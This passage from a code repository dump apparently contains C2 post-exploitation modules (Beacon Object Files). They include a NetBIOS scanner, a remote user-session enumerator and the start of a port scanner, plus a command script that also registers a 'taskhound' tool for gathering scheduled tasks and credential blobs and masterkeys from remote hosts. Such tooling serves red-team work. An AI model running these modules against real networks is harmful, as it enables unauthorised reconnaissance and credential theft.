  }\n}\n\nstatic void nbtscan_print_hostinfo_hosts(const char *ip,\n                                         const nb_host_info_t *info,\n                                         int lmhosts) {\n    char comp_name[16];\n    char dummy_user[16];\n    int dummy_server = 0;\n\n    nbtscan_pick_names(info, comp_name, dummy_user, NULL, &dummy_server, NULL);\n    if (!comp_name[0]) nbtscan_strcpy(comp_name, \"<unknown>\");\n\n    if (lmhosts) {\n        BeaconPrintf(CALLBACK_OUTPUT, \"%s\\t%s\\t#PRE\", ip, comp_name);\n    } else {\n        BeaconPrintf(CALLBACK_OUTPUT, \"%s\\t%s\", ip, comp_name);\n    }\n}\n\nvoid go(char *args, int alen) {\n    datap parser;\n    char *targets = NULL;\n    int verbose = 0;\n    int quiet = 0;\n    int etc_hosts = 0;\n    int lmhosts = 0;\n    char *sep = NULL;\n    int timeout_ms = 1000;\n\n    BeaconDataParse(&parser, args, alen);\n    targets    = (char*)BeaconDataExtract(&parser, NULL);\n    verbose    = BeaconDataInt(&parser);\n    quiet      = BeaconDataInt(&parser);\n    etc_hosts  = BeaconDataInt(&parser);\n    lmhosts    = BeaconDataInt(&parser);\n    sep        = (char*)BeaconDataExtract(&parser, NULL);\n    timeout_ms = BeaconDataInt(&parser);\n\n    if (!targets || !targets[0]) {\n        BeaconPrintf(CALLBACK_ERROR, \"nbtscan: no targets specified\");\n        return;\n    }\n\n    if (timeout_ms <= 0) timeout_ms = 1000;\n\n    WSADATA wsa;\n    if (WS2_32$WSAStartup(MAKEWORD(2, 2), &wsa) != 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"nbtscan: WSAStartup failed\");\n        return;\n    }\n\n    SOCKET sock = WS2_32$socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);\n    if (sock == INVALID_SOCKET) {\n        BeaconPrintf(CALLBACK_ERROR, \"nbtscan: socket() failed\");\n        WS2_32$WSACleanup();\n        return;\n    }\n\n    char **ip_list = NULL;\n    int ip_count = 0;\n    if (!nbtscan_parse_targets(targets, &ip_list, &ip_count) || ip_count == 0) {\n        BeaconPrintf(CALLBACK_ERROR, \"nbtscan: invalid targets string\");\n        WS2_32$closesocket(sock);\n        WS2_32$WSACleanup();\n        return;\n    }\n\n    int script_mode = 0;\n    const char *script_sep = \",\";\n    if (sep && sep[0]) {\n        script_mode = (!etc_hosts && !lmhosts);\n        script_sep = sep;\n    }\n\n    if (!etc_hosts && !lmhosts && !script_mode && !quiet) {\n        nbtscan_print_header();\n    }\n\n    struct in_addr *ip_addrs = (struct in_addr*)intAlloc(ip_count * sizeof(struct in_addr));\n    unsigned char *seen = (unsigned char*)intAlloc(ip_count);\n    if (!ip_addrs || !seen) {\n        BeaconPrintf(CALLBACK_ERROR, \"nbtscan: memory allocation failed\");\n        if (ip_addrs) intFree(ip_addrs);\n        if (seen) intFree(seen);\n        nbtscan_free_targets(ip_list, ip_count);\n        WS2_32$closesocket(sock);\n        WS2_32$WSACleanup();\n        return;\n    }\n    MSVCRT$memset(seen, 0, ip_count);\n\n    my_uint16_t tid = 1;\n\n    for (int i = 0; i < ip_count; i++) {\n        unsigned long raw = WS2_32$inet_addr(ip_list[i]);\n        if (raw == 0xFFFFFFFFUL) {\n            if (!quiet) {\n                BeaconPrintf(CALLBACK_ERROR, \"nbtscan: invalid IP %s\", ip_list[i]);\n            }\n            ip_addrs[i].s_addr = 0;\n            continue;\n        }\n\n        ip_addrs[i].s_addr = raw;\n\n        if (!nbtscan_send_query(sock, ip_addrs[i], tid++)) {\n            if (!quiet) {\n                BeaconPrintf(CALLBACK_ERROR, \"nbtscan: failed to send to %s\", ip_list[i]);\n            }\n            continue;\n        }\n    }\n\n    for (;;) {\n        fd_set rfds;\n        FD_ZERO(&rfds);\n        FD_SET(sock, &rfds);\n\n        struct timeval tv;\n        tv.tv_sec = timeout_ms / 1000;\n        tv.tv_usec = (timeout_ms % 1000) * 1000;\n\n        int sel = WS2_32$select((int)(sock + 1), &rfds, NULL, NULL, &tv);\n        if (sel <= 0) {\n            break;\n        }\n\n        unsigned char buff[1024];\n        struct sockaddr_in src;\n        int slen = sizeof(src);\n        int n = WS2_32$recvfrom(sock, (char*)buff, sizeof(buff), 0, (struct sockaddr*)&src, &slen);\n        if (n <= 0) {\n            continue;\n        }\n\n        const char *ip_str = NULL;\n        int idx = -1;\n        for (int i = 0; i < ip_count; i++) {\n            if (ip_addrs[i].s_addr != 0 && ip_addrs[i].s_addr == src.sin_addr.s_addr) {\n                idx = i;\n                ip_str = ip_list[i];\n                break;\n            }\n        }\n\n        if (!ip_str) {\n            ip_str = WS2_32$inet_ntoa(src.sin_addr);\n        } else if (idx >= 0 && seen[idx]) {\n            continue;\n        }\n\n        if (idx >= 0) {\n            seen[idx] = 1;\n        }\n\n        nb_host_info_t info;\n        MSVCRT$memset(&info, 0, sizeof(info));\n        if (!nbtscan_parse_response(buff, n, &info)) {\n            if (!quiet && ip_str) {\n                BeaconPrintf(CALLBACK_OUTPUT, \"%s\\tinvalid NBSTAT response\", ip_str);\n            }\n            nbtscan_free_hostinfo(&info);\n            continue;\n        }\n\n        if (etc_hosts || lmhosts) {\n            nbtscan_print_hostinfo_hosts(ip_str, &info, lmhosts);\n        } else if (script_mode) {\n            nbtscan_print_hostinfo_verbose(ip_str, &info, script_sep, 1);\n        } else if (verbose) {\n            nbtscan_print_hostinfo_normal(ip_str, &info);\n            nbtscan_print_hostinfo_verbose(ip_str, &info, script_sep, 0);\n        } else {\n            nbtscan_print_hostinfo_normal(ip_str, &info);\n        }\n\n        nbtscan_free_hostinfo(&info);\n    }\n\n    if (ip_addrs) intFree(ip_addrs);\n    if (seen) intFree(seen);\n    nbtscan_free_targets(ip_list, ip_count);\n    WS2_32$closesocket(sock);\n    WS2_32$WSACleanup();\n}\n"
  },
  {
    "path": "SAR-BOF/nbtscan/nbtscan.h",
    "content": "#ifndef NBTSCAN_H\n#define NBTSCAN_H\n\n#include <winsock2.h>\n#include <windows.h>\n\n#include \"beacon.h\"\n#include \"bofdefs.h\"\n\n__declspec(dllimport) unsigned long __stdcall WS2_32$inet_addr(const char *cp);\n__declspec(dllimport) unsigned short __stdcall WS2_32$htons(unsigned short hostshort);\n__declspec(dllimport) unsigned long __stdcall WS2_32$ntohl(unsigned long netlong);\nDECLSPEC_IMPORT unsigned int __stdcall WS2_32$socket(int af, int type, int protocol);\n__declspec(dllimport) int __stdcall WS2_32$closesocket(SOCKET);\n__declspec(dllimport) int __stdcall WS2_32$sendto(SOCKET, const char*, int, int, const struct sockaddr*, int);\n__declspec(dllimport) int __stdcall WS2_32$recvfrom(SOCKET, char*, int, int, struct sockaddr*, int*);\n__declspec(dllimport) int __stdcall WS2_32$select(int, fd_set*, fd_set*, fd_set*, const struct timeval*);\n__declspec(dllimport) int __stdcall WS2_32$WSAStartup(WORD, LPWSADATA);\n__declspec(dllimport) int __stdcall WS2_32$WSACleanup(void);\n__declspec(dllimport) char* __stdcall WS2_32$inet_ntoa(struct in_addr);\n\n#define NB_DGRAM                137\n#define NBNAME_QUESTION_TYPE    0x21\n#define NBNAME_QUESTION_CLASS   0x01\n\ntypedef unsigned __int8  my_uint8_t;\ntypedef unsigned __int16 my_uint16_t;\ntypedef unsigned __int32 my_uint32_t;\n\ntypedef struct _nbname {\n    char        ascii_name[16];\n    my_uint16_t rr_flags;\n} nbname_t;\n\ntypedef struct _nbname_response_header {\n    my_uint16_t transaction_id;\n    my_uint16_t flags;\n    my_uint16_t question_count;\n    my_uint16_t answer_count;\n    my_uint16_t name_service_count;\n    my_uint16_t additional_record_count;\n    char        question_name[34];\n    my_uint16_t question_type;\n    my_uint16_t question_class;\n    my_uint32_t ttl;\n    my_uint16_t rdata_length;\n    my_uint8_t  number_of_names;\n} nbname_response_header_t;\n\ntypedef struct _nbname_response_footer {\n    my_uint8_t  adapter_address[6];\n} nbname_response_footer_t;\n\ntypedef struct _nb_host_info {\n    nbname_response_header_t *header;\n    nbname_t                 *names;\n    nbname_response_footer_t *footer;\n} nb_host_info_t;\n\ntypedef struct _nbname_request {\n    my_uint16_t transaction_id;\n    my_uint16_t flags;\n    my_uint16_t question_count;\n    my_uint16_t answer_count;\n    my_uint16_t name_service_count;\n    my_uint16_t additional_record_count;\n    char        question_name[34];\n    my_uint16_t question_type;\n    my_uint16_t question_class;\n} nbname_request_t;\n\n#define NBTS_MAX_IPS  8192\n\ntypedef struct _ip_range32 {\n    my_uint32_t start_ip;\n    my_uint32_t end_ip;\n} ip_range32_t;\n\n#endif"
  },
  {
    "path": "SAR-BOF/quser/base.c",
    "content": "#include <windows.h>\n#include \"bofdefs.h\"\n#include \"beacon.h\"\n#ifndef bufsize\n#define bufsize 8192\n#endif\n\n\nchar * output __attribute__((section (\".data\"))) = 0;  // this is just done so its we don't go into .bss which isn't handled properly\nWORD currentoutsize __attribute__((section (\".data\"))) = 0;\nHANDLE trash __attribute__((section (\".data\"))) = NULL; // Needed for x64 to not give relocation error\n\n#ifdef BOF\nint bofstart();\nvoid internal_printf(const char* format, ...);\nvoid printoutput(BOOL done);\n#endif\nchar * Utf16ToUtf8(const wchar_t* input);\n\nint bofstart()\n{   \n    output = (char*)MSVCRT$calloc(bufsize, 1);\n    currentoutsize = 0;\n    return 1;\n}\n\nvoid internal_printf(const char* format, ...){\n    int buffersize = 0;\n    int transfersize = 0;\n    char * curloc = NULL;\n    char* intBuffer = NULL;\n    va_list args;\n    va_start(args, format);\n    buffersize = MSVCRT$vsnprintf(NULL, 0, format, args); // +1 because vsprintf goes to buffersize-1 , and buffersize won't return with the null\n    va_end(args);\n    \n    // vsnprintf will return -1 on encoding failure (ex. non latin characters in Wide string)\n    if (buffersize == -1)\n        return;\n    \n    char* transferBuffer = (char*)intAlloc(bufsize);\n    intBuffer = (char*)intAlloc(buffersize);\n    /*Print string to memory buffer*/\n    va_start(args, format);\n    MSVCRT$vsnprintf(intBuffer, buffersize, format, args); // tmpBuffer2 has a null terminated string\n    va_end(args);\n    if(buffersize + currentoutsize < bufsize) // If this print doesn't overflow our output buffer, just buffer it to the end\n    {\n        //BeaconFormatPrintf(&output, intBuffer);\n        MSVCRT$memcpy(output+currentoutsize, intBuffer, buffersize);\n        currentoutsize += buffersize;\n    }\n    else // If this print does overflow our output buffer, lets print what we have and clear any thing else as it is likely this is a large print\n    {\n        curloc = intBuffer;\n        while(buffersize > 0)\n        {\n            transfersize = bufsize - currentoutsize; // what is the max we could transfer this request\n            if(buffersize < transfersize) //if I have less then that, lets just transfer what's left\n            {\n                transfersize = buffersize;\n            }\n            MSVCRT$memcpy(output+currentoutsize, curloc, transfersize); // copy data into our transfer buffer\n            currentoutsize += transfersize;\n            if(currentoutsize == bufsize)\n            {\n            printoutput(FALSE); // sets currentoutsize to 0 and prints\n            }\n            MSVCRT$memset(transferBuffer, 0, transfersize); // reset our transfer buffer\n            curloc += transfersize; // increment by how much data we just wrote\n            buffersize -= transfersize; // subtract how much we just wrote from how much we are writing overall\n        }\n    }\n    intFree(intBuffer);\n    intFree(transferBuffer);\n}\n\nvoid printoutput(BOOL done)\n{\n\n    char * msg = NULL;\n    BeaconOutput(CALLBACK_OUTPUT, output, currentoutsize);\n    currentoutsize = 0;\n    MSVCRT$memset(output, 0, bufsize);\n    if(done) {MSVCRT$free(output); output=NULL;}\n}\n\n\n#ifdef DYNAMIC_LIB_COUNT\n\n\ntypedef struct loadedLibrary {\n    HMODULE hMod; // mod handle\n    const char * name; // name normalized to uppercase\n}loadedLibrary, *ploadedLibrary;\nloadedLibrary loadedLibraries[DYNAMIC_LIB_COUNT] __attribute__((section (\".data\"))) = {0};\nDWORD loadedLibrariesCount __attribute__((section (\".data\"))) = 0;\n\nBOOL intstrcmp(LPCSTR szLibrary, LPCSTR sztarget)\n{\n    BOOL bmatch = FALSE;\n    DWORD pos = 0;\n    while(szLibrary[pos] && sztarget[pos])\n    {\n        if(szLibrary[pos] != sztarget[pos])\n        {\n            goto end;\n        }\n        pos++;\n    }\n    if(szLibrary[pos] | sztarget[pos]) // if either of these down't equal null then they can't match\n        {goto end;}\n    bmatch = TRUE;\n\n    end:\n    return bmatch;\n}\n\nFARPROC DynamicLoad(const char * szLibrary, const char * szFunction)\n{\n    FARPROC fp = NULL;\n    HMODULE hMod = NULL;\n    DWORD i = 0;\n    DWORD liblen = 0;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        if(intstrcmp(szLibrary, loadedLibraries[i].name))\n        {\n            hMod = loadedLibraries[i].hMod;\n        }\n    }\n    if(!hMod)\n    {\n        hMod = LoadLibraryA(szLibrary);\n        if(!hMod){ \n            BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\nCould not find library to load.\", szLibrary);\n            return NULL;\n        }\n        loadedLibraries[loadedLibrariesCount].hMod = hMod;\n        loadedLibraries[loadedLibrariesCount].name = szLibrary; //And this is why this HAS to be a constant or not freed before bofstop\n        loadedLibrariesCount++;\n    }\n    fp = GetProcAddress(hMod, szFunction);\n\n    if (NULL == fp)\n    {\n        BeaconPrintf(CALLBACK_ERROR, \"*** DynamicLoad(%s) FAILED!\\n\", szFunction);\n    }\n    return fp;\n}\n#endif\n\n\nchar* Utf16ToUtf8(const wchar_t* input)\n{\n    int ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        NULL,\n        0,\n        NULL,\n        NULL\n    );\n\n    char* newString = (char*)intAlloc(sizeof(char) * ret);\n\n    ret = KERNEL32$WideCharToMultiByte(\n        CP_UTF8,\n        0,\n        input,\n        -1,\n        newString,\n        sizeof(char) * ret,\n        NULL,\n        NULL\n    );\n\n    if (0 == ret)\n    {\n        goto fail;\n    }\n\nretloc:\n    return newString;\n/*location to free everything centrally*/\nfail:\n    if (newString){\n        intFree(newString);\n        newString = NULL;\n    };\n    goto retloc;\n}\n\n//release any global functions here\nvoid bofstop()\n{\n#ifdef DYNAMIC_LIB_COUNT\n    DWORD i;\n    for(i = 0; i < loadedLibrariesCount; i++)\n    {\n        FreeLibrary(loadedLibraries[i].hMod);\n    }\n#endif\n\treturn;\n}\n"
  },
  {
    "path": "SAR-BOF/quser/quser.c",
    "content": "#include <windows.h>\n#include <wtsapi32.h>\n#include \"base.c\"\n\nDECLSPEC_IMPORT WINBASEAPI HANDLE WINAPI WTSAPI32$WTSOpenServerA (LPSTR);\nDECLSPEC_IMPORT WINBASEAPI void WINAPI WTSAPI32$WTSCloseServer (HANDLE);\n\nvoid PrintLogonTime(LARGE_INTEGER logonTime)\n{\n    FILETIME fileTime;\n    SYSTEMTIME systemTime;\n    fileTime.dwLowDateTime = logonTime.LowPart;\n    fileTime.dwHighDateTime = logonTime.HighPart;\n\n    if (KERNEL32$FileTimeToSystemTime(&fileTime, &systemTime)) {\n        internal_printf(\"%02d/%02d/%d %02d:%02d:%02d\\n\",\n               systemTime.wMonth, systemTime.wDay, systemTime.wYear,\n               systemTime.wHour, systemTime.wMinute, systemTime.wSecond);\n    } else {\n        internal_printf(\"Failed to convert LogonTime to SystemTime\\n\");\n    }\n}\n\nvoid go(char * args, int alen)\n{\t\n    if(!bofstart()){\n        return;\n    }\n\tdatap parser;\n\tPWTS_SESSION_INFOA pwsi;\n\tDWORD dwCount = 0;\n\tDWORD bytesReturned = 0;\n\tBeaconDataParse(&parser, args, alen);\n\tchar *targetHost = BeaconDataExtract(&parser, NULL);\n\tchar *addrFamily = \"\";\n\tchar *stateInfo = \"\";\n\tHANDLE hTarget = NULL;\n\tLPTSTR userName, userDomain, clientName, clientAddress, sessionInfo;\n\tPWTS_CLIENT_ADDRESS clientAddressStruct = NULL;\n\tBOOL successGetSession = 0;\n\thTarget = WTSAPI32$WTSOpenServerA(targetHost);\n\tsuccessGetSession = WTSAPI32$WTSEnumerateSessionsA(hTarget, 0, 1, &pwsi, &dwCount);\n\tif(!successGetSession){\n\t\tif(KERNEL32$GetLastError()==5)\n\t\t\tBeaconPrintf(CALLBACK_OUTPUT, \"Access denied: Could not connect to %s.\", targetHost);\n\t\telse\n\t\t\tBeaconPrintf(CALLBACK_OUTPUT, \"ERROR %d: Could not connect to %s.\", KERNEL32$GetLastError(), targetHost);\n\t} else {\n\t\tinternal_printf(\"%-20s%-25s%-15s%-15s%-15s%-18s%-25s%s\\n\", \"UserDomain\", \"UserName\", \"SessionName\", \"SessionID\" , \"State\", \"SourceAddress\", \"SourceClientName\", \"LogonTime\");\n\t\tfor (unsigned int i = 0; i < dwCount; i++)\n\t\t{\n\t\t\tWTS_SESSION_INFO si = pwsi[i];\n\t\t\tif(si.SessionId > 2048 || si.SessionId < 0)\n\t\t\t\tcontinue;\n\t\t\tBOOL getResult;\n\t\t\tgetResult = WTSAPI32$WTSQuerySessionInformationA(hTarget, si.SessionId, WTSUserName, &userName, &bytesReturned);\n\t\t\tif(!getResult){\n\t\t\t\tuserName = \"N/A\";\n\t\t\t\tBeaconPrintf(CALLBACK_ERROR, \"ERROR %d on getting attribute using WTSQuerySessionInformationA\", KERNEL32$GetLastError());\n\t\t\t}\n\t\t\tgetResult = WTSAPI32$WTSQuerySessionInformationA(hTarget, si.SessionId, WTSDomainName, &userDomain, &bytesReturned);\n\t\t\tif(!getResult){\n\t\t\t\tuserDomain = \"N/A\";\n\t\t\t\tBeaconPrintf(CALLBACK_ERROR, \"ERROR %d on getting attribute using WTSQuerySessionInformationA\", KERNEL32$GetLastError());\n\t\t\t}\n\t\t\tgetResult = WTSAPI32$WTSQuerySessionInformationA(hTarget, si.SessionId, WTSClientName, &clientName, &bytesReturned);\n\t\t\tif(!getResult){\n\t\t\t\tclientName = \"N/A\";\n\t\t\t\tBeaconPrintf(CALLBACK_ERROR, \"ERROR %d on getting attribute using WTSQuerySessionInformationA\", KERNEL32$GetLastError());\n\t\t\t}\n\t\t\tgetResult = WTSAPI32$WTSQuerySessionInformationA(hTarget, si.SessionId, WTSClientAddress, &clientAddress, &bytesReturned);\n\t\t\tif(!getResult){\n\t\t\t\tclientAddress = \"N/A\";\n\t\t\t\tBeaconPrintf(CALLBACK_ERROR, \"ERROR %d on getting attribute using WTSQuerySessionInformationA\", KERNEL32$GetLastError());\n\t\t\t}\n\t\t\tWTSINFO* wtsInfo = NULL;\n\t\t\tgetResult = WTSAPI32$WTSQuerySessionInformationA(hTarget, si.SessionId, WTSLogonTime, &sessionInfo, &bytesReturned);\n\t\t\tif (getResult && bytesReturned == sizeof(LARGE_INTEGER)) {\n\t\t\t\t//Second scenario\n\t\t\t\tWTSAPI32$WTSFreeMemory(sessionInfo);\n\t\t\t}\n\t\t\telse {\n\t\t\t\tgetResult = WTSAPI32$WTSQuerySessionInformationA(hTarget, si.SessionId, WTSSessionInfo, &sessionInfo, &bytesReturned);\n\t\t\t\tif (getResult) {\n\t\t\t\t\twtsInfo = (WTSINFO*)sessionInfo;\t\t\t\t\t\n\t\t\t\t\tWTSAPI32$WTSFreeMemory(sessionInfo);\n\t\t\t\t}\n\t\t\t}\n\t\t\tclientAddressStruct = (PWTS_CLIENT_ADDRESS)clientAddress;\n\t\t\tif(clientAddressStruct->AddressFamily == 0)\n\t\t\t\taddrFamily = \"Unspecified\";\n\t\t\telse if(clientAddressStruct->AddressFamily == 2)\n\t\t\t\taddrFamily = \"InterNetwork\";\n\t\t\telse if(clientAddressStruct->AddressFamily == 17)\n\t\t\t\taddrFamily = \"NetBios\";\n\t\t\telse \n\t\t\t\taddrFamily = \"Unknown\";\n\t\t\tif(strlen(userName)){\n\t\t\t\tif(si.State == WTSActive)\n\t\t\t\t\tstateInfo = \"Active\";\n\t\t\t\telse if(si.State == WTSConnected)\n\t\t\t\t\tstateInfo = \"Connected\";\n\t\t\t\telse if(si.State == WTSDisconnected)\n\t\t\t\t\tstateInfo = \"Disconnected\";\n\t\t\t\telse if(si.State == WTSIdle)\n\t\t\t\t\tstateInfo = \"Idle\";\n\t\t\t\telse \n\t\t\t\t\tstateInfo = \"Unknown\";\n\t\t\t\tif(addrFamily == \"Unspecified\"){\n                    internal_printf(\"%-20s%-25s%-15s%-15i%-15s%-18s%-25s\", userDomain, userName, si.pWinStationName, si.SessionId, stateInfo, \"-\", \"-\");\n\t\t\t\t\tPrintLogonTime(wtsInfo->LogonTime);\n\t\t\t\t}\n                else{\n                    internal_printf(\"%-20s%-25s%-15s%-15i%-15s%u.%u.%u.%-10u%-25s\", userDomain, userName, si.pWinStationName, si.SessionId, stateInfo, clientAddressStruct->Address[2], clientAddressStruct->Address[3], clientAddressStruct->Address[4], clientAddressStruct->Address[5], clientName);\n\t\t\t\t\tPrintLogonTime(wtsInfo->LogonTime);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n    printoutput(TRUE);\n\tWTSAPI32$WTSFreeMemory(pwsi);\n\tWTSAPI32$WTSCloseServer(hTarget);\n    bofstop();\n};"
  },
  {
    "path": "SAR-BOF/sar.axs",
    "content": "var metadata = {\n    name: \"SAR-BOF\",\n    description: \"Situation Awareness Remote BOFs\"\n};\n\nvar cmd_smartscan = ax.create_command(\"smartscan\", \"Smart port scan\", \"smartscan 192.168.1.1 -p 80,443,22-25\");\ncmd_smartscan.addArgString(\"target\", true, \"Destination IP address, range or CIDR format (for example: '192.168.1.1' , '192.168.1.1-192.168.1.10' , '192.168.1.1,192.168.1.3' or '192.168.1.1/24')\");\ncmd_smartscan.addArgFlagString(\"-p\", \"ports\", \"Port range: 'fast', 'standart', 'full', or custom ports (e.g. 80,443,22-25,3389)\", \"standart\");\ncmd_smartscan.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let target = parsed_json[\"target\"];\n    let ports = parsed_json[\"ports\"];\n\n    let scan_level = 0;\n    let custom_ports = \"\";\n\n    if (ports === \"fast\") {\n        scan_level = 1;\n    }\n    else if (ports === \"standart\") {\n        scan_level = 2;\n    }\n    else if (ports === \"full\") {\n        scan_level = 3;\n    }\n    else if (ports) {\n        custom_ports = ports;\n    }\n\n    let bof_params = ax.bof_pack(\"cstr,int,cstr\", [target, scan_level, custom_ports]);\n    let bof_path = ax.script_dir() + \"_bin/smartscan.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof -a \"${bof_path}\" ${bof_params}`, \"Scan Target: \" + target);\n});\n\n\n\nvar cmd_taskhound = ax.create_command(\"taskhound\",\n    \"Collect scheduled tasks from remote systems\",\n    \"taskhound 192.168.1.100 -u domain\\\\admin -p password -save C:\\\\Output -unsaved-creds -grab-blobs\");\ncmd_taskhound.addArgString(\"target\", true, \"Remote system to collect from (IP or hostname)\");\ncmd_taskhound.addArgFlagString(\"-u\", \"username\", \"Username for authentication\", \"\");\ncmd_taskhound.addArgFlagString(\"-p\", \"password\", \"Password for authentication\", \"\");\ncmd_taskhound.addArgFlagString(\"-save\", \"save_directory\", \"Directory to save XML files\", \"\");\ncmd_taskhound.addArgBool(\"-unsaved-creds\", \"Show tasks without stored credentials\");\ncmd_taskhound.addArgBool(\"-grab-blobs\", \"Also collect credential blobs and masterkeys (requires -save)\");\n\ncmd_taskhound.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let target = parsed_json[\"target\"];\n    let username = parsed_json[\"username\"] || \"\";\n    let password = parsed_json[\"password\"] || \"\";\n    let save_dir = parsed_json[\"save_directory\"] || \"\";\n    let flags = \"\";\n\n    if(parsed_json[\"-unsaved-creds\"]) { flags += \"-unsaved-creds \"; }\n    if(parsed_json[\"-grab-blobs\"]) { flags += \"-grab-blobs\"; }\n    flags = flags.trim();\n\n    let bof_params = ax.bof_pack(\"cstr,cstr,cstr,cstr,cstr\", [target, username, password, save_dir, flags]);\n\n    let bof_path = ax.script_dir() + \"_bin/taskhound.\" + ax.arch(id) + \".o\";\n    let message = `Taskhound from ${target}`;\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n});\n\n\n\nvar cmd_quser = ax.create_command(\"quser\", \"Query user sessions on a remote machine, providing session information\", \"quser MainDC\");\ncmd_quser.addArgString(\"host\", \"\", \"localhost\");\ncmd_quser.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let host = parsed_json[\"host\"];\n\n    let bof_params = ax.bof_pack(\"cstr\", [host]);\n    let bof_path = ax.script_dir() + \"_bin/quser.\" + ax.arch(id) + \".o\";\n\n    ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, \"BOF implementation: quser\");\n});\n\n\n\nvar cmd_nbtscan = ax.create_command(\"nbtscan\", \"NetBIOS name scanner (nbtscan-like)\", \"nbtscan 192.168.1.0/24 -v\");\ncmd_nbtscan.addArgString(\"target\", true, \"Destination IP address, range or CIDR (e.g. '192.168.1.1', '192.168.1.1-192.168.1.20', '192.168.1.0/24', '192.168.1.1,192.168.1.5')\");\ncmd_nbtscan.addArgBool(\"-v\", \"verbose\");\ncmd_nbtscan.addArgBool(\"-q\", \"quiet\");\ncmd_nbtscan.addArgBool(\"-e\", \"etc_hosts\");\ncmd_nbtscan.addArgBool(\"-l\", \"lmhosts\");\ncmd_nbtscan.addArgFlagString(\"-s\", \"separator\", \"Script-friendly output separator (enables script mode)\", \"\");\ncmd_nbtscan.addArgFlagString(\"-t\", \"timeout\", \"Response timeout in milliseconds (default 1000)\", \"\");\ncmd_nbtscan.addArgBool(\"-no-targets\", \"Disable automatic target registration\");\ncmd_nbtscan.setPreHook(function (id, cmdline, parsed_json, ...parsed_lines) {\n    let target    = parsed_json[\"target\"];\n    let verbose   = parsed_json[\"-v\"] ? 1 : 0;\n    let quiet     = parsed_json[\"-q\"] ? 1 : 0;\n    let etc_hosts = parsed_json[\"-e\"] ? 1 : 0;\n    let lmhosts   = parsed_json[\"-l\"] ? 1 : 0;\n    let sep       = parsed_json[\"separator\"] || \"\";\n    let timeout_s = parsed_json[\"timeout\"] || \"\";\n    let no_targets = parsed_json[\"-no-targets\"] ? 1 : 0;\n\n    let timeout_ms = 1000;\n    if (timeout_s) {\n        let parsed = parseInt(timeout_s, 10);\n        if (!isNaN(parsed) && parsed > 0 && parsed < 600000) {\n            timeout_ms = parsed;\n        }\n    }\n\n    let bof_params = ax.bof_pack(\"cstr,int,int,int,int,cstr,int\", [ target, verbose, quiet, etc_hosts, lmhosts, sep, timeout_ms ]);\n    let bof_path = ax.script_dir() + \"_bin/nbtscan.\" + ax.arch(id) + \".o\";\n    let message = \"NBTscan: \" + target;\n\n    if(no_targets == 1) {\n        ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message);\n    }\n    else {\n        let targets_handler = function (task) {\n            let blocks = task.text.trim().split('\\n');\n            var results = [];\n            const ipRegex = /^(\\d{1,3}\\.\\d{1,3}\\.\\d{1,3}\\.\\d{1,3})\\s+([^\\s]+)\\s+([^\\s]+)/;\n            for (const line of blocks) {\n\n                if (results.length > 1000) {\n                    ax.targets_add_list(results);\n                    results.length = 0;\n                }\n\n                const match = line.trim().match(ipRegex);\n                if (!match)\n                    continue;\n\n                const [, ip, netbiosName, domain] = match;\n\n                const octets = ip.split('.');\n                const isValid = octets.length === 4 &&\n                    octets.every(octet => {\n                        const num = parseInt(octet, 10);\n                        return num >= 0 && num <= 255 && /^\\d+$/.test(octet);\n                    });\n                if (!isValid)\n                    continue;\n\n                const obj = {\n                    address: ip,\n                    computer: netbiosName,\n                    domain: domain,\n                    alive: true,\n                    info: \"collected from nbtscan\"\n                };\n                results.push(obj);\n            }\n            if (results.length > 0) ax.targets_add_list(results);\n            return task;\n        }\n\n        ax.execute_alias(id, cmdline, `execute bof \"${bof_path}\" ${bof_params}`, message, targets_handler);\n    }\n});\n\nvar group_test = ax.create_commands_group(\"SAR-BOF\", [cmd_smartscan, cmd_taskhound, cmd_quser, cmd_nbtscan]);\nax.register_commands_group(group_test, [\"beacon\", \"gopher\", \"kharon\"], [\"windows\"], []);"
  },
  {
    "path": "SAR-BOF/smartscan/portscan_simple.c",
    "content": "#include <winsock2.h>\n#include <windows.h>\n\n#include \"beacon.h\"\n#include \"bofdefs.h\"\n\n__declspec(dllimport) unsigned long __stdcall WS2_32$inet_addr(const char *cp);\n__declspec(dllimport) unsigned short __stdcall WS2_32$htons(unsigned short hostshort);\n__declspec(dllimport) unsigned long __stdcall WS2_32$ntohl(unsigned long netlong);\nDECLSPEC_IMPORT unsigned int __stdcall WS2_32$socket(int af, int type, int protocol);\n__declspec(dllimport) int __stdcall WS2_32$ioctlsocket(SOCKET, long, u_long*);\n__declspec(dllimport) int __stdcall WS2_32$connect(SOCKET, const struct sockaddr*, int);\n__declspec(dllimport) int __stdcall WS2_32$select(int, fd_set*, fd_set*, fd_set*, const struct timeval*);\n__declspec(dllimport) int __stdcall WS2_32$closesocket(SOCKET);\n__declspec(dllimport) int __stdcall WS2_32$inet_pton(int, const char*, void*);\n__declspec(dllimport) char* __stdcall WS2_32$inet_ntoa(struct in_addr);\n__declspec(dllimport) int __stdcall WS2_32$WSAStartup(WORD, LPWSADATA);\n__declspec(dllimport) int __stdcall WS2_32$WSACleanup(void);\n__declspec(dllimport) int __stdcall WS2_32$getsockopt(SOCKET s, int level, int optname, char *optval, int *optlen);\n__declspec(dllimport) unsigned long __stdcall WS2_32$htonl(unsigned long hostlong);\n\n#define DEFAULT_TIMEOUT    2000\n#define MAX_PORTS          200\n#define MAX_CONCURRENT     10\n#define SCAN_BATCH_SIZE    8\n#define BATCH_DELAY_MS     30\n\nint g_level1_ports[] = {\n    80, 443, 8080, 8443,\n    1433, 1521, 3306, 5432, 6379, 27017,\n    0\n};\n\nint g_level2_ports[] = {\n    80, 443, 8080, 8443,\n    1433, 1521, 3306, 5432, 6379, 27017,\n    135, 139, 445, 3389, 5985, 5986,\n    22,\n    21, 25, 53, 110, 143, 993, 995,\n    0\n};\n\nint g_level3_ports[] = 